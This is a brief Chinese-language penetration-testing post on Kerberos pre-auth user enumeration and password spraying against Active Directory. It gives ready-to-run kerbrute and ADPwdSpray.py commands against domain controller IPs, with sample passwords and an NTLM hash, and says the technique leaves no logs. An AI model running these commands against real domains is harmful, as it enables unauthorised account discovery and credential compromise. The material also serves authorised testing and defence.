1. 程式人生 > 其它 >域滲透之 pre-auth使用者列舉

域滲透之 pre-auth使用者列舉

域滲透之 pre-auth使用者列舉

適用場景與優點

適用於在域外對域使用者進行使用者列舉和爆破

使用Kerberos pre-auth bruteforcing的速度快,並且不會產生日誌。
適用場景:

在沒有域使用者的口令,所以無法通過LDAP協議枚舉出所有域使用者,可以使用這種方式來驗證使用者是否存在

使用者存在,抓包內容,這裡借用三好師傅的圖

使用者不存在,抓包內容如下

使用者列舉

https://github.com/ropnop/kerbrute

https://github.com/3gstudent/pyKerbrute

kerbrute_windows_amd64.exe userenum --dc 192.168.22.135 -d nncm 1.txt

密碼噴射

口令正確抓包如下

口令錯誤抓包如下

kerbrute_windows_amd64.exe passwordspray --dc 192.168.37.131 -d nncm user.txt xx110110.
//針對明文進行噴灑
python2 ADPwdSpray.py 10.1.1.1 hack.com user.txt clearpassword 123.com tcp

//針對雜湊進行噴灑
python2 ADPwdSpray.py 10.1.1.1 hack.com user.txt ntlmhash afffeba176210fad4628f0524bfe1942 udp

Reference

滲透技巧-通過Kerberos-pre-auth進行使用者列舉和口令爆破